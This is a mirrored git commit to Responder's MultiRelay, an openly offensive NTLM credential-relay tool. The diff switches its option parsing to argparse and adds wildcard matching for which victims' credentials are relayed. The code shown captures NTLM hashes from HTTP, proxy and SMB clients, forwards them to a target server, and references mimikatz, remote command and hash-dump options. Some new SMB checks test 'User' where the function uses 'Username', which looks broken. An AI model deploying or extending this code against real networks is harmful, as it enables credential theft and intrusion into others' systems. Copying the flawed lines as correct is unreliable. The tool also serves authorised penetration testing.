mirror of
https://github.com/lgandx/Responder.git
synced 2025-08-22 06:13:39 -07:00
guly: added support for wildcard in usernames, moved from optparse(deprecated) to argparse
This commit is contained in:
parent
38219e249e
commit
fb1aba66f4
2 changed files with 89 additions and 79 deletions
|
@ -18,10 +18,12 @@ import sys
|
||||||
import re
|
import re
|
||||||
import os
|
import os
|
||||||
import logging
|
import logging
|
||||||
import optparse
|
import argparse
|
||||||
import time
|
import time
|
||||||
import random
|
import random
|
||||||
import subprocess
|
import subprocess
|
||||||
|
import itertools
|
||||||
|
import fnmatch
|
||||||
from threading import Thread
|
from threading import Thread
|
||||||
from SocketServer import TCPServer, UDPServer, ThreadingMixIn, BaseRequestHandler
|
from SocketServer import TCPServer, UDPServer, ThreadingMixIn, BaseRequestHandler
|
||||||
try:
|
try:
|
||||||
|
@ -50,32 +52,21 @@ Mimikatzx86Filename = "./MultiRelay/bin/mimikatz_x86.exe"
|
||||||
RunAsFileName = "./MultiRelay/bin/Runas.exe"
|
RunAsFileName = "./MultiRelay/bin/Runas.exe"
|
||||||
SysSVCFileName = "./MultiRelay/bin/Syssvc.exe"
|
SysSVCFileName = "./MultiRelay/bin/Syssvc.exe"
|
||||||
|
|
||||||
|
parser = argparse.ArgumentParser()
|
||||||
|
|
||||||
def UserCallBack(op, value, dmy, parser):
|
parser.add_argument('-t',action="store", help="Target server for SMB relay. Can be used multiple times.",dest="Target")
|
||||||
args=[]
|
parser.add_argument('-p',action="store", help="Additional port to listen on, this will relay for proxy, http and webdav incoming packets.",metavar="8081",dest="ExtraPort")
|
||||||
for arg in parser.rargs:
|
parser.add_argument('-u', '--UserToRelay', '--UsersToRelay', help="Users to relay. Use '-u ALL' to relay all users or wildcard to relay users like '*.admin.'. Usernames are case sensitive.", action='append',nargs='+',dest="UsersToRelay")
|
||||||
if arg[0] != "-":
|
parser.add_argument('-c', '--command', action="store", help="Single command to run (scripting)", metavar="whoami",dest="OneCommand")
|
||||||
args.append(arg)
|
parser.add_argument('-d', '--dump', action="store_true", help="Dump hashes (scripting)", dest="Dump")
|
||||||
if arg[0] == "-":
|
|
||||||
break
|
|
||||||
if getattr(parser.values, op.dest):
|
|
||||||
args.extend(getattr(parser.values, op.dest))
|
|
||||||
setattr(parser.values, op.dest, args)
|
|
||||||
|
|
||||||
parser = optparse.OptionParser(usage="\npython %prog -t 10.20.30.40 -u Administrator lgandx admin\npython %prog -t 10.20.30.40 -u ALL", version=__version__, prog=sys.argv[0])
|
options = parser.parse_args()
|
||||||
parser.add_option('-t',action="store", help="Target server for SMB relay.",metavar="10.20.30.45",dest="TARGET")
|
|
||||||
parser.add_option('-p',action="store", help="Additional port to listen on, this will relay for proxy, http and webdav incoming packets.",metavar="8081",dest="ExtraPort")
|
|
||||||
parser.add_option('-u', '--UserToRelay', help="Users to relay. Use '-u ALL' to relay all users.", action="callback", callback=UserCallBack, dest="UserToRelay")
|
|
||||||
parser.add_option('-c', '--command', action="store", help="Single command to run (scripting)", metavar="whoami",dest="OneCommand")
|
|
||||||
parser.add_option('-d', '--dump', action="store_true", help="Dump hashes (scripting)", metavar="whoami",dest="Dump")
|
|
||||||
|
|
||||||
options, args = parser.parse_args()
|
if options.Target is None:
|
||||||
|
|
||||||
if options.TARGET is None:
|
|
||||||
print "\n-t Mandatory option is missing, please provide a target.\n"
|
print "\n-t Mandatory option is missing, please provide a target.\n"
|
||||||
parser.print_help()
|
parser.print_help()
|
||||||
exit(-1)
|
exit(-1)
|
||||||
if options.UserToRelay is None:
|
if options.UsersToRelay is None:
|
||||||
print "\n-u Mandatory option is missing, please provide a username to relay.\n"
|
print "\n-u Mandatory option is missing, please provide a username to relay.\n"
|
||||||
parser.print_help()
|
parser.print_help()
|
||||||
exit(-1)
|
exit(-1)
|
||||||
|
@ -89,9 +80,11 @@ if not os.geteuid() == 0:
|
||||||
OneCommand = options.OneCommand
|
OneCommand = options.OneCommand
|
||||||
Dump = options.Dump
|
Dump = options.Dump
|
||||||
ExtraPort = options.ExtraPort
|
ExtraPort = options.ExtraPort
|
||||||
UserToRelay = options.UserToRelay
|
UsersToRelay = list(itertools.chain(*options.UsersToRelay))
|
||||||
|
if 'ALL' in UsersToRelay:
|
||||||
|
UsersToRelay = ['*']
|
||||||
|
|
||||||
Host = [options.TARGET]
|
Host = [options.Target]
|
||||||
Cmd = []
|
Cmd = []
|
||||||
ShellOpen = []
|
ShellOpen = []
|
||||||
Pivoting = [2]
|
Pivoting = [2]
|
||||||
|
@ -114,7 +107,7 @@ def ShowWelcome():
|
||||||
print 'If you do so, use taskkill (as system) to kill the process.'
|
print 'If you do so, use taskkill (as system) to kill the process.'
|
||||||
print color('*/',8,1)
|
print color('*/',8,1)
|
||||||
print color('\nRelaying credentials for these users:',8,1)
|
print color('\nRelaying credentials for these users:',8,1)
|
||||||
print color(UserToRelay,4,1)
|
print color(UsersToRelay,4,1)
|
||||||
print '\n'
|
print '\n'
|
||||||
|
|
||||||
|
|
||||||
|
@ -262,7 +255,7 @@ class HTTPProxyRelay(BaseRequestHandler):
|
||||||
else:
|
else:
|
||||||
#Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login
|
#Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login
|
||||||
#and has not attempted before. While at it, let's grab his hash.
|
#and has not attempted before. While at it, let's grab his hash.
|
||||||
Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UserToRelay,Host[0],Pivoting)
|
Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UsersToRelay,Host[0],Pivoting)
|
||||||
|
|
||||||
if Username is not None:
|
if Username is not None:
|
||||||
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00")
|
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00")
|
||||||
|
@ -359,7 +352,7 @@ class HTTPRelay(BaseRequestHandler):
|
||||||
else:
|
else:
|
||||||
#Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login
|
#Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login
|
||||||
#and has not attempted before. While at it, let's grab his hash.
|
#and has not attempted before. While at it, let's grab his hash.
|
||||||
Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UserToRelay,Host[0],Pivoting)
|
Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UsersToRelay,Host[0],Pivoting)
|
||||||
|
|
||||||
if Username is not None:
|
if Username is not None:
|
||||||
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00")
|
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00")
|
||||||
|
@ -446,7 +439,7 @@ class SMBRelay(BaseRequestHandler):
|
||||||
else:
|
else:
|
||||||
#Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login
|
#Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login
|
||||||
#and has not attempted before. While at it, let's grab his hash.
|
#and has not attempted before. While at it, let's grab his hash.
|
||||||
Username, Domain = ParseSMBHash(data,self.client_address[0],challenge,UserToRelay,Host[0],Pivoting)
|
Username, Domain = ParseSMBHash(data,self.client_address[0],challenge,UsersToRelay,Host[0],Pivoting)
|
||||||
if Username is not None:
|
if Username is not None:
|
||||||
##Got the ntlm message 3, send it over to SMB.
|
##Got the ntlm message 3, send it over to SMB.
|
||||||
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00")
|
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00")
|
||||||
|
|
|
@ -24,6 +24,7 @@ import re
|
||||||
import datetime
|
import datetime
|
||||||
import threading
|
import threading
|
||||||
import uuid
|
import uuid
|
||||||
|
import fnmatch
|
||||||
from RelayMultiPackets import *
|
from RelayMultiPackets import *
|
||||||
from odict import OrderedDict
|
from odict import OrderedDict
|
||||||
from base64 import b64decode, b64encode
|
from base64 import b64decode, b64encode
|
||||||
|
@ -100,7 +101,7 @@ def IsSMBAnonymous(data):
|
||||||
else:
|
else:
|
||||||
return False
|
return False
|
||||||
|
|
||||||
def ParseHTTPHash(data, key, client, UserToRelay, Host, Pivoting):
|
def ParseHTTPHash(data, key, client, UsersToRelay, Host, Pivoting):
|
||||||
LMhashLen = struct.unpack('<H',data[12:14])[0]
|
LMhashLen = struct.unpack('<H',data[12:14])[0]
|
||||||
LMhashOffset = struct.unpack('<H',data[16:18])[0]
|
LMhashOffset = struct.unpack('<H',data[16:18])[0]
|
||||||
LMHash = data[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
|
LMHash = data[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
|
||||||
|
@ -130,18 +131,21 @@ def ParseHTTPHash(data, key, client, UserToRelay, Host, Pivoting):
|
||||||
else:
|
else:
|
||||||
print "[+] Received NTLMv1 hash from: %s %s"%(client, ShowSmallResults((client,445)))
|
print "[+] Received NTLMv1 hash from: %s %s"%(client, ShowSmallResults((client,445)))
|
||||||
|
|
||||||
if User in UserToRelay or "ALL" in UserToRelay:
|
UTRmatched = False
|
||||||
if Pivoting[0] == "1":
|
for UTR in UsersToRelay:
|
||||||
return User, Domain
|
if fnmatch.fnmatch(User,UTR):
|
||||||
print "[+] Username: %s is whitelisted, forwarding credentials."%(User)
|
UTRmatched = True
|
||||||
if ReadData("SMBRelay-Session.txt", client, User, HostName, Host, cmd=None):
|
if Pivoting[0] == "1":
|
||||||
##Domain\User has already auth on this target, but it failed. Ditch the connection to prevent account lockouts.
|
return User, Domain
|
||||||
return None, None
|
print "[+] Username: %s is whitelisted, forwarding credentials."%(User)
|
||||||
else:
|
if ReadData("SMBRelay-Session.txt", client, User, HostName, Host, cmd=None):
|
||||||
return User, HostName
|
##Domain\User has already auth on this target, but it failed. Ditch the connection to prevent account lockouts.
|
||||||
else:
|
return None, None
|
||||||
print "[+] Username: %s not in target list, dropping connection."%(User)
|
else:
|
||||||
return None, None
|
return User, HostName
|
||||||
|
if not UTRmatched:
|
||||||
|
print "[+] Username: %s not in target list, dropping connection."%(User)
|
||||||
|
return None, None
|
||||||
|
|
||||||
if NthashLen > 24:
|
if NthashLen > 24:
|
||||||
DomainLen = struct.unpack('<H',data[28:30])[0]
|
DomainLen = struct.unpack('<H',data[28:30])[0]
|
||||||
|
@ -162,23 +166,28 @@ def ParseHTTPHash(data, key, client, UserToRelay, Host, Pivoting):
|
||||||
pass
|
pass
|
||||||
else:
|
else:
|
||||||
print "[+] Received NTLMv2 hash from: %s %s"%(client, ShowSmallResults((client,445)))
|
print "[+] Received NTLMv2 hash from: %s %s"%(client, ShowSmallResults((client,445)))
|
||||||
if User in UserToRelay or "ALL" in UserToRelay:
|
|
||||||
if Pivoting[0] == "1":
|
|
||||||
return User, Domain
|
|
||||||
|
|
||||||
print "[+] Username: %s is whitelisted, forwarding credentials."%(User)
|
UTRmatched = False
|
||||||
|
for UTR in UsersToRelay:
|
||||||
|
if fnmatch.fnmatch(User,UTR):
|
||||||
|
UTRmatched = True
|
||||||
|
|
||||||
if ReadData("SMBRelay-Session.txt", client, User, Domain, Host, cmd=None):
|
if Pivoting[0] == "1":
|
||||||
##Domain\User has already auth on this target, but it failed. Ditch the connection to prevent account lockouts.
|
return User, Domain
|
||||||
return None, None
|
|
||||||
else:
|
print "[+] Username: %s is whitelisted, forwarding credentials."%(User)
|
||||||
return User, Domain
|
|
||||||
else:
|
if ReadData("SMBRelay-Session.txt", client, User, Domain, Host, cmd=None):
|
||||||
print "[+] Username: %s not in target list, dropping connection."%(User)
|
##Domain\User has already auth on this target, but it failed. Ditch the connection to prevent account lockouts.
|
||||||
return None, None
|
return None, None
|
||||||
|
else:
|
||||||
|
return User, Domain
|
||||||
|
if not UTRmatched:
|
||||||
|
print "[+] Username: %s not in target list, dropping connection."%(User)
|
||||||
|
return None, None
|
||||||
|
|
||||||
|
|
||||||
def ParseSMBHash(data,client, challenge,UserToRelay,Host,Pivoting): #Parse SMB NTLMSSP v1/v2
|
def ParseSMBHash(data,client, challenge,UsersToRelay,Host,Pivoting): #Parse SMB NTLMSSP v1/v2
|
||||||
SSPIStart = data.find('NTLMSSP')
|
SSPIStart = data.find('NTLMSSP')
|
||||||
SSPIString = data[SSPIStart:]
|
SSPIString = data[SSPIStart:]
|
||||||
LMhashLen = struct.unpack('<H',data[SSPIStart+14:SSPIStart+16])[0]
|
LMhashLen = struct.unpack('<H',data[SSPIStart+14:SSPIStart+16])[0]
|
||||||
|
@ -207,19 +216,23 @@ def ParseSMBHash(data,client, challenge,UserToRelay,Host,Pivoting): #Parse SMB
|
||||||
pass
|
pass
|
||||||
else:
|
else:
|
||||||
print "[+] Received NTLMv1 hash from: %s %s"%(client, ShowSmallResults((client,445)))
|
print "[+] Received NTLMv1 hash from: %s %s"%(client, ShowSmallResults((client,445)))
|
||||||
if Username in UserToRelay or "ALL" in UserToRelay:
|
|
||||||
if Pivoting[0] == "1":
|
|
||||||
return Username, Domain
|
|
||||||
|
|
||||||
print "[+] Username: %s is whitelisted, forwarding credentials."%(Username)
|
UTRmatched = False
|
||||||
if ReadData("SMBRelay-Session.txt", client, Username, Domain, Host, cmd=None):
|
for UTR in UsersToRelay:
|
||||||
##Domain\User has already auth on this target, but it failed. Ditch the connection to prevent account lockouts.
|
if fnmatch.fnmatch(User,UTR):
|
||||||
return None, None
|
UTRmatched = True
|
||||||
else:
|
if Pivoting[0] == "1":
|
||||||
return Username, Domain
|
return Username, Domain
|
||||||
else:
|
|
||||||
print "[+] Username: %s not in target list, dropping connection."%(Username)
|
print "[+] Username: %s is whitelisted, forwarding credentials."%(Username)
|
||||||
return None, None
|
if ReadData("SMBRelay-Session.txt", client, Username, Domain, Host, cmd=None):
|
||||||
|
##Domain\User has already auth on this target, but it failed. Ditch the connection to prevent account lockouts.
|
||||||
|
return None, None
|
||||||
|
else:
|
||||||
|
return Username, Domain
|
||||||
|
if not UTRmatched:
|
||||||
|
print "[+] Username: %s not in target list, dropping connection."%(Username)
|
||||||
|
return None, None
|
||||||
|
|
||||||
if NthashLen > 60:
|
if NthashLen > 60:
|
||||||
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
||||||
|
@ -241,18 +254,22 @@ def ParseSMBHash(data,client, challenge,UserToRelay,Host,Pivoting): #Parse SMB
|
||||||
pass
|
pass
|
||||||
else:
|
else:
|
||||||
print "[+] Received NTLMv2 hash from: %s %s"%(client, ShowSmallResults((client,445)))
|
print "[+] Received NTLMv2 hash from: %s %s"%(client, ShowSmallResults((client,445)))
|
||||||
if Username in UserToRelay or "ALL" in UserToRelay:
|
|
||||||
if Pivoting[0] == "1":
|
UTRmatched = False
|
||||||
return Username, Domain
|
for UTR in UsersToRelay:
|
||||||
print "[+] Username: %s is whitelisted, forwarding credentials."%(Username)
|
if fnmatch.fnmatch(User,UTR):
|
||||||
if ReadData("SMBRelay-Session.txt", client, Username, Domain, Host, cmd=None):
|
UTRmatched = True
|
||||||
##Domain\User has already auth on this target, but it failed. Ditch the connection to prevent account lockouts.
|
if Pivoting[0] == "1":
|
||||||
return None, None
|
return Username, Domain
|
||||||
else:
|
print "[+] Username: %s is whitelisted, forwarding credentials."%(Username)
|
||||||
return Username, Domain
|
if ReadData("SMBRelay-Session.txt", client, Username, Domain, Host, cmd=None):
|
||||||
else:
|
##Domain\User has already auth on this target, but it failed. Ditch the connection to prevent account lockouts.
|
||||||
print "[+] Username: %s not in target list, dropping connection."%(Username)
|
return None, None
|
||||||
return None, None
|
else:
|
||||||
|
return Username, Domain
|
||||||
|
if not UTRmatched:
|
||||||
|
print "[+] Username: %s not in target list, dropping connection."%(Username)
|
||||||
|
return None, None
|
||||||
|
|
||||||
#Get the index of the dialect we want. That is NT LM 0.12.
|
#Get the index of the dialect we want. That is NT LM 0.12.
|
||||||
def Parse_Nego_Dialect(data):
|
def Parse_Nego_Dialect(data):
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue